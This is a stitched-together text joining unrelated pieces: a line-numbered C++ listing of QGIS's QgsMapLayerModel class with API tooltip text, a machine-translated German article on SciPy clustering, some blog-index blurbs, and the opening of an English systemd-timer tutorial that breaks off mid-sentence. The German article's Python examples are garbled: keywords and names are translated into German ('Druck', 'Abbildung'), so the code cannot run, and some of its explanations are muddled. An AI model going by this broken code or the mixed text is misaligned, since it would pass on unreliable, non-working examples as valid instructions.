checkable; 64} 65 67{ 68 mCanReorder = allow; 69} 70 72{ 73 return mCanReorder; 74} 75 76void QgsMapLayerModel::checkAll( Qt::CheckState checkState ) 77{ 78 QMap<QString, Qt::CheckState>::iterator i = mLayersChecked.begin(); 79 for ( ; i != mLayersChecked.end(); ++i ) 80 { 81 *i = checkState; 82 } 83 emit dataChanged( index( 0, 0 ), index( rowCount() - 1, 0 ) ); 84} 85 86void QgsMapLayerModel::setAllowEmptyLayer( bool allowEmpty, const QString &text, const QIcon &icon ) 87{ 88 mEmptyText = text; 89 mEmptyIcon = icon; 90 if ( allowEmpty == mAllowEmpty ) 91 return; 92 93 if ( allowEmpty ) 94 { 95 beginInsertRows( QModelIndex(), 0, 0 ); 96 mAllowEmpty = true; 97 endInsertRows(); 98 } 99 else 100 { 101 beginRemoveRows( QModelIndex(), 0, 0 ); 102 mAllowEmpty = false; 103 endRemoveRows(); 104 } 105} 106 108{ 109 if ( mShowCrs == showCrs ) 110 return; 111 112 mShowCrs = showCrs; 113 emit dataChanged( index( 0, 0 ), index( rowCount() - 1, 0 ), QVector<int>() << Qt::DisplayRole ); 114} 115 116QList<QgsMapLayer *> QgsMapLayerModel::layersChecked( Qt::CheckState checkState ) 117{ 118 QList<QgsMapLayer *> layers; 119 const auto constMLayers = mLayers; 120 for ( QgsMapLayer *layer : constMLayers ) 121 { 122 if ( mLayersChecked[layer->id()] == checkState ) 123 { 124 layers.append( layer ); 125 } 126 } 127 return layers; 128} 129 130void QgsMapLayerModel::setLayersChecked( const QList<QgsMapLayer *> &layers ) 131{ 132 QMap<QString, Qt::CheckState>::iterator i = mLayersChecked.begin(); 133 for ( ; i != mLayersChecked.end(); ++i ) 134 { 135 *i = Qt::Unchecked; 136 } 137 for ( const QgsMapLayer *layer : layers ) 138 { 139 mLayersChecked[ layer->id() ] = Qt::Checked; 140 } 141 emit dataChanged( index( 0, 0 ), index( rowCount() - 1, 0 ), QVector<int>() << Qt::CheckStateRole ); 142} 143 145{ 146 int r = mLayers.indexOf( layer ); 147 if ( r >= 0 && mAllowEmpty ) 148 r++; 149 return index( r, 0 ); 150} 151 152QgsMapLayer *QgsMapLayerModel::layerFromIndex( const QModelIndex &index ) const 153{ 154 return mProject->mapLayer( index.data( static_cast< int >( CustomRole::LayerId ) ).toString() ); 155} 156 157void QgsMapLayerModel::setAdditionalItems( const QStringList &items ) 158{ 159 if ( items == mAdditionalItems ) 160 return; 161 162 int offset = 0; 163 if ( mAllowEmpty ) 164 offset++; 165 166 offset += mLayers.count(); 167 168 //remove existing 169 if ( !mAdditionalItems.isEmpty() ) 170 { 171 beginRemoveRows( QModelIndex(), offset, offset + mAdditionalItems.count() - 1 ); 172 mAdditionalItems.clear(); 173 endRemoveRows(); 174 } 175 176 //add new 177 beginInsertRows( QModelIndex(), offset, offset + items.count() - 1 ); 178 mAdditionalItems = items; 179 endInsertRows(); 180} 181 182void QgsMapLayerModel::setAdditionalLayers( const QList<QgsMapLayer *> &layers ) 183{ 184 if ( layers == _qgis_listQPointerToRaw( mAdditionalLayers ) ) 185 return; 186 187 QStringList layerIdsToRemove; 188 for ( QgsMapLayer *layer : std::as_const( mAdditionalLayers ) ) 189 { 190 if ( layer ) 191 layerIdsToRemove << layer->id(); 192 } 193 removeLayers( layerIdsToRemove ); 194 195 for ( QgsMapLayer *layer : layers ) 196 { 197 if ( layer ) 198 { 199 addLayers( { layer } ); 200 const QString layerId = layer->id(); 201 connect( layer, &QgsMapLayer::willBeDeleted, this, [this, layerId] { removeLayers( {layerId} ); } ); 202 } 203 } 204 205 mAdditionalLayers = _qgis_listRawToQPointer( layers ); 206} 207 208QList<QgsMapLayer *> QgsMapLayerModel::additionalLayers() const 209{ 210 return _qgis_listQPointerToRaw( mAdditionalLayers ); 211} 212 213void QgsMapLayerModel::removeLayers( const QStringList &layerIds ) 214{ 215 int offset = 0; 216 if ( mAllowEmpty ) 217 offset++; 218 219 for ( const QString &layerId : layerIds ) 220 { 221 QModelIndex startIndex = index( 0, 0 ); 222 QModelIndexList list = match( startIndex, static_cast< int >( CustomRole::LayerId ), layerId, 1 ); 223 if ( !list.isEmpty() ) 224 { 225 QModelIndex index = list[0]; 226 beginRemoveRows( QModelIndex(), index.row(), index.row() ); 227 mLayersChecked.remove( layerId ); 228 mLayers.removeAt( index.row() - offset ); 229 endRemoveRows(); 230 } 231 } 232} 233 234void QgsMapLayerModel::addLayers( const QList<QgsMapLayer *> &layers ) 235{ 236 if ( !layers.empty( ) ) 237 { 238 int offset = 0; 239 if ( mAllowEmpty ) 240 offset++; 241 242 beginInsertRows( QModelIndex(), mLayers.count() + offset, mLayers.count() + layers.count() - 1 + offset ); 243 const auto constLayers = layers; 244 for ( QgsMapLayer *layer : constLayers ) 245 { 246 mLayers.append( layer ); 247 mLayersChecked.insert( layer->id(), Qt::Unchecked ); 248 } 249 endInsertRows(); 250 } 251} 252 253QModelIndex QgsMapLayerModel::index( int row, int column, const QModelIndex &parent ) const 254{ 255 int offset = 0; 256 if ( mAllowEmpty ) 257 offset++; 258 259 if ( hasIndex( row, column, parent ) ) 260 { 261 QgsMapLayer *layer = nullptr; 262 if ( row - offset >= 0 && row - offset < mLayers.count() ) 263 layer = mLayers.at( row - offset ); 264 265 return createIndex( row, column, layer ); 266 } 267 268 return QModelIndex(); 269 270} 271 272QModelIndex QgsMapLayerModel::parent( const QModelIndex &child ) const 273{ 274 Q_UNUSED( child ) 275 return QModelIndex(); 276} 277 278 279int QgsMapLayerModel::rowCount( const QModelIndex &parent ) const 280{ 281 if ( parent.isValid() ) 282 return 0; 283 284 return ( mAllowEmpty ? 1 : 0 ) + mLayers.length() + mAdditionalItems.count(); 285} 286 287int QgsMapLayerModel::columnCount( const QModelIndex &parent ) const 288{ 289 Q_UNUSED( parent ) 290 return 1; 291} 292 293 294QVariant QgsMapLayerModel::data( const QModelIndex &index, int role ) const 295{ 296 if ( !index.isValid() ) 297 return QVariant(); 298 299 bool isEmpty = index.row() == 0 && mAllowEmpty; 300 int additionalIndex = index.row() - ( mAllowEmpty ? 1 : 0 ) - mLayers.count(); 301 302 switch ( role ) 303 { 304 case Qt::DisplayRole: 305 case Qt::EditRole: 306 { 307 if ( index.row() == 0 && mAllowEmpty ) 308 return mEmptyText; 309 310 if ( additionalIndex >= 0 ) 311 return mAdditionalItems.at( additionalIndex ); 312 313 QgsMapLayer *layer = mLayers.value( index.row() - ( mAllowEmpty ? 1 : 0 ) ); 314 if ( !layer ) 315 return QVariant(); 316 317 if ( !mShowCrs || !layer->isSpatial() || role == Qt::EditRole ) 318 { 319 return layer->name(); 320 } 321 else 322 { 323 return tr( "%1 [%2]" ).arg( layer->name(), layer->crs().authid() ); 324 } 325 } 326 327 case static_cast< int >( CustomRole::LayerId ): 328 { 329 if ( isEmpty || additionalIndex >= 0 ) 330 return QVariant(); 331 332 QgsMapLayer *layer = mLayers.value( index.row() - ( mAllowEmpty ? 1 : 0 ) ); 333 return layer ? layer->id() : QVariant(); 334 } 335 336 case static_cast< int >( CustomRole::Layer ): 337 { 338 if ( isEmpty || additionalIndex >= 0 ) 339 return QVariant(); 340 341 return QVariant::fromValue<QgsMapLayer *>( mLayers.value( index.row() - ( mAllowEmpty ? 1 : 0 ) ) ); 342 } 343 344 case static_cast< int >( CustomRole::Empty ): 345 return isEmpty; 346 347 case static_cast< int >( CustomRole::Additional ): 348 return additionalIndex >= 0; 349 350 case Qt::CheckStateRole: 351 { 352 if ( mItemCheckable ) 353 { 354 if ( isEmpty || additionalIndex >= 0 ) 355 return QVariant(); 356 357 QgsMapLayer *layer = mLayers.value( index.row() - ( mAllowEmpty ? 1 : 0 ) ); 358 return layer ? mLayersChecked[layer->id()] : QVariant(); 359 } 360 361 return QVariant(); 362 } 363 364 case Qt::ToolTipRole: 365 { 366 QgsMapLayer *layer = mLayers.value( index.row() - ( mAllowEmpty ? 1 : 0 ) ); 367 if ( layer ) 368 { 369 QStringList parts; 370 QString title = !layer->metadata().title().isEmpty() ? layer->metadata().title() : ( layer->serverProperties()->title().isEmpty() ? layer->serverProperties()->shortName() : layer->serverProperties()->title() ); 371 if ( title.isEmpty() ) 372 title = layer->name(); 373 title = "<b>" + title + "</b>"; 374 if ( layer->isSpatial() && layer->crs().isValid() ) 375 { 376 QString layerCrs = layer->crs().authid(); 377 if ( !std::isnan( layer->crs().coordinateEpoch() ) ) 378 { 379 layerCrs += QStringLiteral( " @ %1" ).arg( qgsDoubleToString( layer->crs().coordinateEpoch(), 3 ) ); 380 } 381 if ( QgsVectorLayer *vl = qobject_cast<QgsVectorLayer *>( layer ) ) 382 title = tr( "%1 (%2 - %3)" ).arg( title, QgsWkbTypes::displayString( vl->wkbType() ), layerCrs ); 383 else 384 title = tr( "%1 (%2)" ).arg( title, layerCrs ); 385 } 386 parts << title; 387 388 QString abstract = !layer->metadata().abstract().isEmpty() ? layer->metadata().abstract() : layer->serverProperties()->abstract(); 389 if ( !abstract.isEmpty() ) 390 parts << "<br/>" + abstract.replace( QLatin1String( "\n" ), QLatin1String( "<br/>" ) ); 391 parts << "<i>" + layer->publicSource() + "</i>"; 392 return parts.join( QLatin1String( "<br/>" ) ); 393 } 394 return QVariant(); 395 } 396 397 case Qt::DecorationRole: 398 { 399 if ( isEmpty ) 400 return mEmptyIcon.isNull() ? QVariant() : mEmptyIcon; 401 402 if ( additionalIndex >= 0 ) 403 return QVariant(); 404 405 QgsMapLayer *layer = mLayers.value( index.row() - ( mAllowEmpty ? 1 : 0 ) ); 406 if ( !layer ) 407 return QVariant(); 408 409 return iconForLayer( layer ); 410 } 411 412 default: 413 break; 414 } 415 416 return QVariant(); 417} 418 419QHash<int, QByteArray> QgsMapLayerModel::roleNames() const 420{ 421 QHash<int, QByteArray> roles = QAbstractItemModel::roleNames(); 422 roles[static_cast< int >( CustomRole::LayerId ) ] = "layerId"; 423 roles[static_cast< int >( CustomRole::Layer )] = "layer"; 424 425 return roles; 426} 427 428Qt::ItemFlags QgsMapLayerModel::flags( const QModelIndex &index ) const 429{ 430 if ( !index.isValid() ) 431 { 432 if ( mCanReorder ) 433 return Qt::ItemIsDropEnabled; 434 else 435 return Qt::ItemFlags(); 436 } 437 438 bool isEmpty = index.row() == 0 && mAllowEmpty; 439 int additionalIndex = index.row() - ( mAllowEmpty ? 1 : 0 ) - mLayers.count(); 440 441 Qt::ItemFlags flags = Qt::ItemIsEnabled | Qt::ItemIsSelectable; 442 443 if ( mCanReorder && !isEmpty && additionalIndex < 0 ) 444 { 445 flags |= Qt::ItemIsDragEnabled; 446 } 447 448 if ( mItemCheckable && !isEmpty && additionalIndex < 0 ) 449 { 450 flags |= Qt::ItemIsUserCheckable; 451 } 452 return flags; 453} 454 455bool QgsMapLayerModel::insertRows( int row, int count, const QModelIndex &parent ) 456{ 457 if ( parent.isValid() ) 458 return false; 459 460 int offset = 0; 461 if ( mAllowEmpty ) 462 offset++; 463 464 beginInsertRows( parent, row, row + count - 1 ); 465 for ( int i = row; i < row + count; ++i ) 466 mLayers.insert( i - offset, nullptr ); 467 endInsertRows(); 468 469 return true; 470} 471 472bool QgsMapLayerModel::removeRows( int row, int count, const QModelIndex &parent ) 473{ 474 if ( parent.isValid() || row < 0 ) 475 return false; 476 477 int offset = 0; 478 if ( mAllowEmpty ) 479 { 480 if ( row == 0 ) 481 return false; 482 483 offset++; 484 } 485 486 if ( row - offset > mLayers.count() - 1 ) 487 { 488 return false; 489 } 490 491 beginRemoveRows( parent, row, row + count - 1 ); 492 for ( int i = 0; i != count; ++i ) 493 mLayers.removeAt( row - offset ); 494 endRemoveRows(); 495 496 return true; 497} 498 500{ 501 QStringList types; 502 types << QStringLiteral( "application/qgis.layermodeldata" ); 503 return types; 504} 505 506bool QgsMapLayerModel::canDropMimeData( const QMimeData *data, Qt::DropAction action, int, int, const QModelIndex & ) const 507{ 508 if ( !mCanReorder || action != Qt::MoveAction || !data->hasFormat( QStringLiteral( "application/qgis.layermodeldata" ) ) ) 509 return false; 510 return true; 511} 512 513QMimeData *QgsMapLayerModel::mimeData( const QModelIndexList &indexes ) const 514{ 515 std::unique_ptr< QMimeData > mimeData = std::make_unique< QMimeData >(); 516 517 QByteArray encodedData; 518 QDataStream stream( &encodedData, QIODevice::WriteOnly ); 519 QSet< QString > addedLayers; 520 521 for ( const QModelIndex &i : indexes ) 522 { 523 if ( i.isValid() ) 524 { 525 const QString id = data( index( i.row(), 0, i.parent() ), static_cast< int >( CustomRole::LayerId ) ).toString(); 526 if ( !addedLayers.contains( id ) ) 527 { 528 addedLayers.insert( id ); 529 stream << id; 530 } 531 } 532 } 533 mimeData->setData( QStringLiteral( "application/qgis.layermodeldata" ), encodedData ); 534 return mimeData.release(); 535} 536 537bool QgsMapLayerModel::dropMimeData( const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent ) 538{ 539 if ( !canDropMimeData( data, action, row, column, parent ) || row < 0 ) 540 return false; 541 542 if ( action == Qt::IgnoreAction ) 543 return true; 544 else if ( action != Qt::MoveAction ) 545 return false; 546 547 QByteArray encodedData = data->data( QStringLiteral( "application/qgis.layermodeldata" ) ); 548 QDataStream stream( &encodedData, QIODevice::ReadOnly ); 549 QStringList newItems; 550 int rows = 0; 551 552 while ( !stream.atEnd() ) 553 { 554 QString text; 555 stream >> text; 556 newItems << text; 557 ++rows; 558 } 559 560 insertRows( row, rows, QModelIndex() ); 561 for ( const QString &text : std::as_const( newItems ) ) 562 { 563 QModelIndex idx = index( row, 0, QModelIndex() ); 564 setData( idx, text, static_cast< int >( CustomRole::LayerId ) ); 565 row++; 566 } 567 568 return true; 569} 570 572{ 573 return Qt::MoveAction; 574} 575 577{ 578 return QgsIconUtils::iconForLayer( layer ); 579} 580 581bool QgsMapLayerModel::setData( const QModelIndex &index, const QVariant &value, int role ) 582{ 583 if ( !index.isValid() ) 584 return false; 585 586 bool isEmpty = index.row() == 0 && mAllowEmpty; 587 int additionalIndex = index.row() - ( mAllowEmpty ? 1 : 0 ) - mLayers.count(); 588 589 switch ( role ) 590 { 591 case Qt::CheckStateRole: 592 { 593 if ( !isEmpty && additionalIndex < 0 ) 594 { 595 QgsMapLayer *layer = static_cast<QgsMapLayer *>( index.internalPointer() ); 596 mLayersChecked[layer->id()] = ( Qt::CheckState )value.toInt(); 597 emit dataChanged( index, index, QVector< int >() << Qt::CheckStateRole ); 598 return true; 599 } 600 break; 601 } 602 603 case static_cast< int >( CustomRole::LayerId ): 604 if ( !isEmpty && additionalIndex < 0 ) 605 { 606 mLayers[index.row() - ( mAllowEmpty ? 1 : 0 )] = mProject->mapLayer( value.toString() ); 607 emit dataChanged( index, index ); 608 return true; 609 } 610 break; 611 612 default: 613 break; 614 } 615 616 return false; 617} QString abstract() const Returns a free-form description of the resource. QString title() const Returns the human readable name of the resource, typically displayed in search results. bool isValid() const Returns whether this CRS is correctly initialized and usable. double coordinateEpoch() const Returns the coordinate epoch, as a decimal year. static QIcon iconForLayer(const QgsMapLayer *layer) Returns the icon corresponding to a specified map layer. QList< QPointer< QgsMapLayer > > mAdditionalLayers void setShowCrs(bool showCrs) Sets whether the CRS of layers is also included in the model's display role. void setItemsCanBeReordered(bool allow) Sets whether items in the model can be reordered via drag and drop. QHash< int, QByteArray > roleNames() const override Returns strings for all roles supported by this model. Qt::ItemFlags flags(const QModelIndex &index) const override bool canDropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent) const override int rowCount(const QModelIndex &parent=QModelIndex()) const override QList< QgsMapLayer * > layersChecked(Qt::CheckState checkState=Qt::Checked) layersChecked returns the list of layers which are checked (or unchecked) QVariant data(const QModelIndex &index, int role=Qt::DisplayRole) const override bool insertRows(int row, int count, const QModelIndex &parent=QModelIndex()) override QModelIndex parent(const QModelIndex &child) const override QgsProject * mProject void setProject(QgsProject *project) Sets the QgsProject from which map layers are shown. bool removeRows(int row, int count, const QModelIndex &parent=QModelIndex()) override QModelIndex index(int row, int column, const QModelIndex &parent=QModelIndex()) const override QModelIndex indexFromLayer(QgsMapLayer *layer) const indexFromLayer returns the model index for a given layer void setAllowEmptyLayer(bool allowEmpty, const QString &text=QString(), const QIcon &icon=QIcon()) Sets whether an optional empty layer ("not set") option is present in the model. void setAdditionalItems(const QStringList &items) Sets a list of additional (non map layer) items to include at the end of the model. QList< QgsMapLayer * > additionalLayers() const Returns the list of additional layers added to the model. int columnCount(const QModelIndex &parent=QModelIndex()) const override void setItemsCheckable(bool checkable) setItemsCheckable defines if layers should be selectable in the widget static QIcon iconForLayer(QgsMapLayer *layer) Returns the icon corresponding to a specified map layer. bool setData(const QModelIndex &index, const QVariant &value, int role=Qt::EditRole) override QgsMapLayer * layerFromIndex(const QModelIndex &index) const Returns the map layer corresponding to the specified index. Qt::DropActions supportedDropActions() const override void setLayersChecked(const QList< QgsMapLayer * > &layers) Sets which layers are checked in the model. void checkAll(Qt::CheckState checkState) checkAll changes the checkstate for all the layers void removeLayers(const QStringList &layerIds) QStringList mimeTypes() const override @ Additional True if index corresponds to an additional (non map layer) item. @ Layer Stores pointer to the map layer itself. @ LayerId Stores the map layer ID. @ Empty True if index corresponds to the empty (not set) value. bool dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent) override bool itemsCanBeReordered() const Returns true if items in the model can be reordered via drag and drop. QMap< QString, Qt::CheckState > mLayersChecked QgsMapLayerModel(QObject *parent=nullptr, QgsProject *project=nullptr) QgsMapLayerModel creates a model to display layers in widgets. QList< QgsMapLayer * > mLayers void setAdditionalLayers(const QList< QgsMapLayer * > &layers) Sets a list of additional layers to include in the model. void addLayers(const QList< QgsMapLayer * > &layers) QMimeData * mimeData(const QModelIndexList &indexes) const override QString title() const Returns the title of the layer used by QGIS Server in GetCapabilities request. QString shortName() const Returns the short name of the layer used by QGIS Server to identify the layer. QString abstract() const Returns the abstract of the layerused by QGIS Server in GetCapabilities request. Base class for all map layer types. Definition qgsmaplayer.h:75 QString name Definition qgsmaplayer.h:79 virtual bool isSpatial() const Returns true if the layer is considered a spatial layer, ie it has some form of geometry associated w... QgsCoordinateReferenceSystem crs Definition qgsmaplayer.h:82 QgsMapLayerServerProperties * serverProperties() Returns QGIS Server Properties for the map layer. QString id Definition qgsmaplayer.h:78 QgsLayerMetadata metadata Definition qgsmaplayer.h:81 QString publicSource(bool hidePassword=false) const Gets a version of the internal layer definition that has sensitive bits removed (for example,... void willBeDeleted() Emitted in the destructor when the layer is about to be deleted, but it is still in a perfectly valid... Encapsulates a QGIS project, including sets of map layers and their styles, layouts,... Definition qgsproject.h:107 static QgsProject * instance() Returns the QgsProject singleton instance. Q_INVOKABLE QgsMapLayer * mapLayer(const QString &layerId) const Retrieve a pointer to a registered layer by layer ID. void layersWillBeRemoved(const QStringList &layerIds) Emitted when one or more layers are about to be removed from the registry. void layersAdded(const QList< QgsMapLayer * > &layers) Emitted when one or more layers were added to the registry. QMap< QString, QgsMapLayer * > mapLayers(const bool validOnly=false) const Returns a map of all registered layers by layer ID. Represents a vector layer which manages a vector based data sets. static QString displayString(Qgis::WkbType type) Returns a non-translated display string type for a WKB type, e.g., the geometry name used in WKT geom... QString qgsDoubleToString(double a, int precision=17) Returns a string representation of a double. Definition qgis.h:5586
__label__pos
0.97429
Scipy Clustering Scipy Clustering Für Menschen, die neu in Programmiersprachen sind, ist das Konzept des Clustering auch neu für sie. Python ist eine der am häufigsten verwendeten Sprachen weltweit. Diese Programmiersprache auf hoher Ebene ist einfacher und einfacher als jede andere Programmiersprache auf hoher Ebene, was der Hauptgrund ist, warum die Anfängerentwickler dazu neigen, zuerst die Python zu lernen als jede andere Sprache. In diesem Artikel untersuchen wir die Scipy Library of Python -Programmiersprache und versuchen, das Konzept der Clusterbildung in der Programmiersprache zu verstehen. Was ist Scipy in der Python -Programmiersprache? Scipy ist eine Open-Source- und kostenlose wissenschaftliche Berechnungsbibliothek, die von der Python-Programmiersprache bereitgestellt wird. Es ist auf Numpy gebaut; Daher erweitert es auch die Funktionen der Numpy -Bibliothek. Scipy ist eine Abkürzung der wissenschaftlichen Python und bietet nützliche Methoden, um eine wissenschaftliche Anwendung zu bewältigen. Mit der Scipy -Bibliothek können Sie in einem Python -Programm problemlos jede Art von mathematischen, wissenschaftlichen, optimierenden, rechnerischen Verarbeitung oder statistischen Problemen verwalten. Darüber hinaus bietet es verschiedene nützliche Datenvisualisierungs- und Manipulationstechniken. Clustering ist eine der grundlegenden Methoden der Scipy -Bibliothek. Dieser Artikel widmet sich speziell der Clusterbildung in der Python -Programmiersprache. Was ist das Clustering in der Python -Programmiersprache? Clustering - wie der Name schon sagt - macht Datenkluster. Das grundlegende Konzept des Clustering besteht darin, Datencluster mit den gleichen Merkmalen zu erstellen. In einfachen Worten ist das Clustering das Konzept, kleine Datengruppen zu erstellen, die in charakteristischem charakteristischem einer großen Datengruppe ähnlich sind. Viele Branchen wie Gesundheitswesen, Finanzen, Einzelhandel usw. Verwenden Sie das Konzept des Clustering für mehrere analytische Aufgaben. Das Konzept des Clustering in der Python -Programmiersprache ist das gleiche wie das allgemeine Konzept des Clustering. Die Python-Programmiersprache bietet mehrere nützliche und benutzerfreundliche Tools, um die Clusteranalyse durchzuführen. Sie können aus der Toolliste auswählen, die am besten zu Ihrem Problem passt. Zusammen mit diesem müssen Sie auch erkennen, welcher Algorithmus besser funktioniert, und Sie müssen in der Lage sein, jeden Algorithmus zu bewerten, der für Ihr Problem verwendet werden kann. Um die Leistung des Clustering -Algorithmus zu bewerten, müssen Sie den durchschnittlichen Cluster -Abstand von der Mitte finden. Der durchschnittliche Abstand vom Zentrum des Datenclusters zu jeder Beobachtung bestimmt die Kompaktheit eines Clusters und dies ist allgemein als Zentroid bezeichnet. Dies ist sinnvoll, da alle Python -Clustering -Algorithmen dicht gepackte Datencluster erzeugen. Je näher die Datenpunkte im Cluster sind, desto besser die Ergebnisse des Clustering -Algorithmus. Um die Leistung eines Clustering -Algorithmus zu bewerten. Im Allgemeinen gibt es drei Techniken, um das Clustering in Python-, K-Means-, Spectral- und Gaußschen Mischungsmodell-Clustering durchzuführen. Die K-Mean-Clustering-Technik eignet sich am besten für niedrige dimensionale Aufgaben mit wenigen Eingängen, während die Spektralclustering. Im Gegenteil. Es ist ein flexibles und robustes Modell, das am besten mit mäßig komplizierten Aufgaben funktioniert. Was ist Scipy Clustering? Die Scipy -Bibliothek in Python bietet zwei grundlegende Module: das VQ -Modul und das Hierarchiemodul, um Cluster mit einem Python -Programm herzustellen. Das VQ -Modul steht für die Vektorquantisierung, die für Komprimierung, Kommunikation, Zielerkennung, Informationstheorie usw. am nützlichsten ist. Es unterstützt jedoch nur die K-Mittel- und Vektor-Quantisierungsalgorithmen. Andererseits eignet sich das hierarchische Modul am besten zur Visualisierung der Cluster mit Dendrogrammen, der Berechnung der Statistiken an Clustern, zum Erzeugen hierarchischer Cluster aus Entfernungsmatrizen und Schneiden von Verknüpfungen, um flache Cluster zu erzeugen. Das bedeutet, dass es für agglomerative und hierarchische Clustering am nützlichsten ist. Vektorquantisierung und K-Mean-Clustering Die Vektorquantisierung oder die K-Mean-Clustering-Algorithmen der Scipy-Bibliothek werden verwendet, um die Cluster und den Zentrum von Clustern in einem Datensatz zu finden. Diese Algorithmen nehmen den Satz von Beobachtungsvektoren und die Anzahl der Cluster als Eingabe an. Der Algorithmus berechnet die Schwerpunkte des Clusters und kehrt für jeden der K -Cluster zurück. Die Scipy-Bibliothek bietet die vollständige Implementierung des K-Means-Algorithmus über das Clusterpaket. So können Sie den VQ- oder K-Mean-Algorithmus in Ihrem Programm verwenden: Beispiel 1: Lassen Sie uns ein Beispiel für Cluster zeigen.VQ, um zu verstehen, wie es in einem Python -Programm verwendet werden kann. Schauen Sie sich den folgenden Beispielcode an: von Scipy.Cluster.VQ Import Kmeans, VQ von Numpy Import Vstack, Array von Numpy.zufälliger Import Rand Data = vstack ((Rand (10,3) + Array ([[.1,.2,.3]), Rand (10,3))) Centr, _ = kmeans (Daten, 3) Druck (Centr) CLX, _ = VQ (Daten, Centr) Druck (CLX) Erstens die Skipei.Cluster.VQ wird verwendet, um die Kmeans- und VQ -Module zu importieren. Dann wird die Numpy -Bibliothek aufgerufen, um den Vstack und das Array im Programm zu importieren. Schließlich wird der Rand mit dem Numpy in das Programm importiert.Zufallsmodul. Eine "Daten" -Variable wird initialisiert und an die Funktion kmeans () übergeben, um den Schwerpunkt der Daten zu finden. Die ursprünglichen und berechneten Zentroid der Daten werden an die VQ -Funktion übergeben. Siehe das Ergebnis der Kmeans- und VQ -Module in der folgenden Ausgabe: Hierarchische Clustering Hierarchische Clusterbildung wird verwendet, um Cluster ähnlicher Objekte mit den unbeaufsichtigten Lernalgorithmen zu erstellen. Der hierarchische Clustering -Algorithmus weist jedem Datenpunkt am Anfang einen Cluster zu und kombiniert dann die engsten Cluster bei jeder Iteration, was nur zu einem großen Cluster führt. Es ist sehr nützlich, um die optimale Anzahl von Clustern, die Darstellung von Erkenntnissen und die interpretierbare Visualisierung zu ermitteln. Um die hierarchischen Cluster zu visualisieren, werden die Dendrogramme verwendet. So können Sie das hierarchische Clustering in Ihrem Python -Programm verwenden: Beispiel 2: In diesem Beispiel wird Sie dazu veranlasst, das hierarchische Clustering in einem Python -Programm durchzuführen. Siehe den folgenden Beispielcode: von Scipy.Cluster.Hierarchie -Importdendrogramm, Verknüpfung von Matplotlib Pyplot als PLT importieren X = [ [A] für a in [1, 5, 9, 4, 11, 2]] Z = Verknüpfung (x, 'Ward') Abb = PLT.Abbildung (AbbSize = (5, 5)) dn = dendrogramm (z) Erstens die Skipei.Cluster.Die Hierarchieklasse wird im Programm aufgerufen, um die Hierarchiecluster zu machen, und die Matplotlib -Bibliothek wird importiert, um das Dendrogramm der Hierarchie -Cluster anzuzeigen. Die Daten sind in der "X" -Variable bereitgestellt. Um das Dendrogramm zu zeichnen, werden die Daten an die Dendrogram () -Funktion übergeben. Das resultierende Dendrogramm lautet wie folgt: Abschluss Dieser Artikel wurde für das Konzept des Clustering in der Python -Programmiersprache entwickelt. Zuerst haben wir das grundlegende Konzept des Clustering gelernt. Dann haben wir untersucht, was ein Cluster in Python ist. Die Scipy Library bietet zwei Clustering -Module - VQ und Hierarchie. Wir haben beide Module untersucht und mit Hilfe eines Beispiels für jedes Modul gelernt, wie man die Cluster im Python -Programm verwendet und macht.
__label__pos
0.811337
python-migration Machine Learning Product design Python Security Should you migrate from python 2 to python 3? Python 3 was released eons ago in 2008, but saw a slow adoption across developers. After a pressing deadline to stop the support for Python 2, the need to upgrade to Python 3 became inevitable. Product design SaaS Security Flyway Db In this blog, I’m going to give overview of flyway db & show you how to use Flyway db migration istio-mesh-blog-article Python Security What is Istio, and How does it work? Istio is a service mesh and it is a collection of different tools, frameworks and packages that helps us to Product design Python SaaS Security Single Sign On (SSO) and Role Based Access Control (RBAC) using OKTA API Single sign-on (SSO) is a session and user authentication service that permits a user to use one set of login Product design Security Application security checklist While developing and deploying application developer should check following checklist to secure application from attacker. With the help of automation
__label__pos
0.567446
Announcing our $32 million Series B gradient Systemd timer: how to schedule tasks with systemd Guides 10 min to read Systemd timer: how to schedule tasks with systemd Written by Madhura Kumar Published on Dec 2, 2022 If you have a Linux-operated server, you can understand the challenges of having to continuously log into your server or desktop to run recurring tasks like system backups, health checks, and SSL certificate renewals. These tasks should be configured to run automatically. One solution is to deploy bundled Linux utilities like cron and systemd timers to schedule these tasks to execute automatically. Cron tends to be more popular since you can set up a crontab to run jobs with just a single line of code. However, cron can sometimes be limited in functionality and difficult to troubleshoot (Top Reasons your Cron Job Isn't Running). This is why some engineers opt for using systemd timers as a scheduling tool instead. A systemd timer typically requires three items to schedule a task: a script or command, a service file, and a timer file. What the systemd timer lacks in setup simplicity, however, it makes up for in feature-rich sophistication, flexibility to schedule events in real-time, and microsecond precision. In this article, we'll provide a quick overview of how systemd works and demonstrate how to use systemd timers to schedule tasks effectively. At the end, we'll introduce an alternative platform called Airplane which is a developer tool that supports fully managed and serverless task scheduling. What is systemd? Systemd is a software suite with the basic building blocks for a Linux system. It provides an array of system components for Linux operating systems. Many engineers use systemd to manage system settings and services. In this article, we'll use systemd timers for scheduling operations. What is a systemd timer? Systemd timers offer the benefits of job scheduling tools like cron and anacron, allowing scheduling granularity. Similar to these other scheduling tools, systemd timers can trigger events, such as shell scripts and programs, at specified time intervals. They can be useful tools for scheduling routine jobs. As mentioned in the introduction, a systemd timer typically requires three items to schedule a task: a script or command, a service file, and a timer file. Systemd timers have built-in support for calendar time events, monotonic time events, can assure a task is executed when the system is running again even if it was off during the expected execution time, and can run asynchronously. Setting up systemd timers To demonstrate systemd timers, we'll use cleanup-disk and memory-usage-report tasks as examples, along with the systemctl (interact with services and timers), systemd-analyze calendar (validate calendar time), and journalctl (logs) commands on the following: • Ubuntu-based operating system (OS) running on local machine >= 20.04 • Ubuntu-based operating system (OS) running on cloud server  >= 20.04 For this demonstration, we'll run the clean-up task on a cloud server and the memory-usage-report task on a Linux Mint Desktop. Note that you can run both tasks on either host. By default, timers and services are in the /etc/systemd/system/ file path for Ubuntu-based distros and some others. Cleanup script and service Before creating a timer, you must create a clean-up script and service. Our aim is to free up disk space taken up by log files, old install files, thumbnails, kernels, items in the trash, and disabled revisions of snap. Note: The lines (`````) seclude the content to be pasted in the editor that appears when using "nano"-related commands. After pasting the content, press CTRL + X, then Y to save it and close the window. Neither the lines nor "CTRL + X to exit script" should be pasted in the editor. Open up the nano text editor and paste the commands below into cleanDisk.sh located in the /opt directory. Note that the /opt directory is for installing add-on application software packages: bash Then, we can make the script executable using the following command: $ sudo chmod +x /opt/cleanDisk.sh Using the nano editor, create and edit the cleanDisk.service by adding 'Unit, Service, and Install sections. Note that the 